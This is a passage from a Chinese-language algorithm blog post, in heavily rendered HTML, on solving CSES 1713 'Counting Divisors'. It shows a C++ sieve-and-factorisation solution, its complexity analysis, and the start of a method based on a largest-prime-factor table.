style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2341em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.538em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span><span style="top:-3.268em;"><span class="pstrut" style="height:3.038em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.715em;"><span class="pstrut" style="height:3.038em;"></span><span class="mord"><span class="mop"><span class="mop">lo<span style="margin-right:0.0139em;">g</span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.207em;"><span style="top:-2.4559em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2441em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.466em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span></span></p><p>因此總複雜度為</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mfrac><msqrt><mi>x</mi></msqrt><mrow><mi>ln</mi><mo>⁡</mo><msqrt><mi>x</mi></msqrt></mrow></mfrac><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(\frac{\sqrt{x}}{\ln\sqrt{x}})</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.4073em;vertical-align:-0.93em;"></span><span class="mord mathnormal" style="margin-right:0.0278em;">O</span><span class="mopen">(</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.4773em;"><span style="top:-2.3097em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mop">ln</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8003em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord mathnormal">x</span></span></span><span style="top:-2.7603em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2397em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8003em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord mathnormal">x</span></span></span><span style="top:-2.7603em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2397em;"><span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.93em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">)</span></span></span></span></span></p><h2 id="ac-code-2" tabindex="-1" id="AC-Code-3">AC Code</h2><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span><span class="token string">&lt;bits/stdc++.h></span></span><span class="token keyword">using</span> <span class="token keyword">namespace</span> std<span class="token punctuation">;</span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">ll</span> <span class="token expression"><span class="token keyword">long</span> <span class="token keyword">long</span></span></span><span class="token keyword">const</span> <span class="token keyword">int</span> MAX_X <span class="token operator">=</span> <span class="token number">1e6</span><span class="token punctuation">;</span><span class="token keyword">bool</span> not_prime<span class="token punctuation">[</span>MAX_X <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">&#123;</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token keyword">int</span> prime<span class="token punctuation">[</span>MAX_X <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">int</span> cnt <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token keyword">void</span> <span class="token function">make_prime_list</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">int</span> N <span class="token operator">=</span> MAX_X<span class="token punctuation">;</span>  <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">int</span> i<span class="token operator">=</span><span class="token number">2</span><span class="token punctuation">;</span>i<span class="token operator">&lt;=</span>N<span class="token punctuation">;</span>i<span class="token operator">++</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token operator">!</span>not_prime<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>      prime<span class="token punctuation">[</span><span class="token operator">++</span>cnt<span class="token punctuation">]</span> <span class="token operator">=</span> i<span class="token punctuation">;</span>      <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">int</span> j<span class="token operator">=</span><span class="token number">2</span><span class="token operator">*</span>i<span class="token punctuation">;</span>j<span class="token operator">&lt;=</span>N<span class="token punctuation">;</span>j<span class="token operator">+=</span>i<span class="token punctuation">)</span> not_prime<span class="token punctuation">[</span>j<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">bool</span> <span class="token function">is_prime</span><span class="token punctuation">(</span><span class="token keyword">int</span> x<span class="token punctuation">)</span><span class="token punctuation">&#123;</span><span class="token keyword">return</span> <span class="token operator">!</span>not_prime<span class="token punctuation">[</span>x<span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">int</span> <span class="token function">v</span><span class="token punctuation">(</span><span class="token keyword">int</span> p<span class="token punctuation">,</span> ll <span class="token operator">&amp;</span>x<span class="token punctuation">)</span><span class="token punctuation">&#123;</span> <span class="token comment">// v代表\nu</span>  <span class="token keyword">int</span> ans <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>  <span class="token keyword">while</span><span class="token punctuation">(</span>x<span class="token operator">%</span>p<span class="token operator">==</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    x <span class="token operator">/=</span> p<span class="token punctuation">;</span>    ans <span class="token operator">+=</span> <span class="token number">1</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> ans<span class="token punctuation">;</span><span class="token punctuation">&#125;</span>ll <span class="token function">divnum</span><span class="token punctuation">(</span>ll x<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">if</span><span class="token punctuation">(</span>x<span class="token operator">==</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span>  <span class="token keyword">if</span><span class="token punctuation">(</span>x<span class="token operator">==</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token keyword">return</span> <span class="token number">1</span><span class="token punctuation">;</span>  ll ans <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span>  <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">int</span> i<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">;</span>i<span class="token operator">&lt;=</span>cnt<span class="token punctuation">;</span>i<span class="token operator">++</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">int</span> p <span class="token operator">=</span> prime<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">;</span>    <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token number">1LL</span><span class="token operator">*</span>p<span class="token operator">*</span>p<span class="token operator">></span>x<span class="token punctuation">)</span><span class="token keyword">break</span><span class="token punctuation">;</span>    ans <span class="token operator">*=</span> <span class="token function">v</span><span class="token punctuation">(</span>p<span class="token punctuation">,</span>x<span class="token punctuation">)</span><span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">if</span><span class="token punctuation">(</span>x<span class="token operator">></span><span class="token number">1</span><span class="token punctuation">)</span>ans <span class="token operator">*=</span> <span class="token punctuation">(</span><span class="token number">1</span><span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">return</span> ans<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  ios<span class="token double-colon punctuation">::</span><span class="token function">sync_with_stdio</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">,</span> cin<span class="token punctuation">.</span><span class="token function">tie</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">int</span> n<span class="token punctuation">;</span>  cin <span class="token operator">>></span> n<span class="token punctuation">;</span>  <span class="token function">make_prime_list</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">while</span><span class="token punctuation">(</span>n<span class="token operator">--</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">int</span> x<span class="token punctuation">;</span>    cin <span class="token operator">>></span> x<span class="token punctuation">;</span>    cout <span class="token operator">&lt;&lt;</span> <span class="token function">divnum</span><span class="token punctuation">(</span>x<span class="token punctuation">)</span> <span class="token operator">&lt;&lt;</span> <span class="token string">"\n"</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h2 id="%E8%A4%87%E9%9B%9C%E5%BA%A6-2" tabindex="-1" id="複雜度-3">複雜度</h2><h3 id="%E6%99%82%E9%96%93%E8%A4%87%E9%9B%9C%E5%BA%A6-2" tabindex="-1" id="時間複雜度-3">時間複雜度</h3><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>O</mi><mrow><mo fence="true">(</mo><mi>N</mi><mi>log</mi><mo>⁡</mo><mi>log</mi><mo>⁡</mo><mi>N</mi><mo>+</mo><mi>Q</mi><mo>⋅</mo><mfrac><msqrt><msub><mi>x</mi><mi>max</mi><mo>⁡</mo></msub></msqrt><mrow><mi>log</mi><mo>⁡</mo><msqrt><msub><mi>x</mi><mi>max</mi><mo>⁡</mo></msub></msqrt></mrow></mfrac><mo fence="true">)</mo></mrow></mrow><annotation encoding="application/x-tex">O\left(N \log \log N + Q \cdot \frac{\sqrt{x_{\max}}}{\log \sqrt{x_{\max}}}\right)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.4507em;vertical-align:-1.0007em;"></span><span class="mord mathnormal" style="margin-right:0.0278em;">O</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord mathnormal" style="margin-right:0.109em;">N</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">lo<span style="margin-right:0.0139em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">lo<span style="margin-right:0.0139em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">N</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal">Q</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.43em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mop">lo<span style="margin-right:0.0139em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7253em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mop mtight"><span class="mtight">m</span><span class="mtight">a</span><span class="mtight">x</span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-2.6853em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.3147em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.7047em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7253em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mop mtight"><span class="mtight">m</span><span class="mtight">a</span><span class="mtight">x</span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-2.6853em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.3147em;"><span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.0007em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span></span></span></span></span></p><h3 id="%E7%A9%BA%E9%96%93%E8%A4%87%E9%9B%9C%E5%BA%A6-2" tabindex="-1" id="空間複雜度-3">空間複雜度</h3><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi mathvariant="normal">Θ</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\Theta(n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">Θ</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span></span></p><blockquote><p>真的很醜</p></blockquote><h1 id="%E8%A7%A3%E6%B3%95%E5%9B%9B%EF%BC%9A%E5%BB%BA%E6%9C%80%E5%A4%A7%E8%B3%AA%E5%9B%A0%E6%95%B8%E8%A1%A8%EF%BC%8C%E5%86%8D%E4%BE%9D%E5%BA%8F%E9%99%A4%E4%BB%A5%E6%9C%80%E5%A4%A7%E8%B3%AA%E5%9B%A0%E6%95%B8%E6%B1%82%E5%9B%A0%E6%95%B8%E5%80%8B%E6%95%B8" tabindex="-1">解法四：建最大質因數表，再依序除以最大質因數求因數個數</h1><p>來源：<a href="https://yuihuang.com/cses-1713/">【題解】CSES 1713 Counting Divisors – Yui Huang 演算法學習筆記</a><br>想法：ㄧ樣是用標準分解式，但在預處理時將<code>not_prime</code>中的值改為紀錄該數的<strong>最大質因數</strong>，然後一步步除掉，同時統計質因數的次方<br>比如<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>=</mo><mn>60</mn></mrow><annotation encoding="application/x-tex">x=60</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">60</span></span></span></span>，步驟會是：</p><ol><li>令ans=1</li><li><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>60</mn></mrow><annotation encoding="application/x-tex">60</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">60</span></span></span></span>的最大質因數為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>5</mn></mrow><annotation encoding="application/x-tex">5</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">5</span></span></span></span>，目前有<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>5</mn><mn>1</mn></msup></mrow><annotation encoding="application/x-tex">5^1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">5</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span></span></span></span></span></span></span></span>，還剩<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>60</mn><mi mathvariant="normal">/</mi><mn>5</mn><mo>=</mo><mn>12</mn></mrow><annotation encoding="application/x-tex">60/5=12</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">60/5</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">12</span></span></span></span></li><li><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>12</mn></mrow><annotation encoding="application/x-tex">12</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">12</span></span></span></span>的最大質因數為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>3</mn></mrow><annotation encoding="application/x-tex">3</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">3</span></span></span></span>，和<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>5</mn></mrow><annotation encoding="application/x-tex">5</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">5</span></span></span></span>不同，又因為每次都是除掉最大質因數，所以可知標準分解式中<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>5</mn></mrow><annotation encoding="application/x-tex">5</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">5</span></span></span></span>的次方一定只有<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>次，故將ans乘以<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn><mo>+</mo><mn>1</mn><mo>=</mo><mn>2</mn></mrow><annotation encoding="application/x-tex">1+1=2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span>，目前有<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>3</mn><mn>1</mn></msup></mrow><annotation encoding="application/x-tex">3^1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">3</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span></span></span></span></span></span></span></span>，還剩<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>12</mn><mi mathvariant="normal">/</mi><mn>3</mn><mo>=</mo><mn>4</mn></mrow><annotation encoding="application/x-tex">12/3=4</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">12/3</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">4</span></span></span></span> (<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>5</mn></mrow><annotation encoding="application/x-tex">5</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">5</span></span></span></span>這個質因數處理完畢)</li><li><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>4</mn></mrow><annotation encoding="application/x-tex">4</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">4</span></span></span></span>的最大質因數為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>2</mn></mrow><annotation encoding="application/x-tex">2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span>，和<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>3</mn></mrow><annotation encoding="application/x-tex">3</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">3</span></span></span></span>不同，所以再將ans乘以<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn><mo>+</mo><mn>1</mn><mo>=</mo><mn>2</mn></mrow><annotation encoding="application/x-tex">1+1=2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" 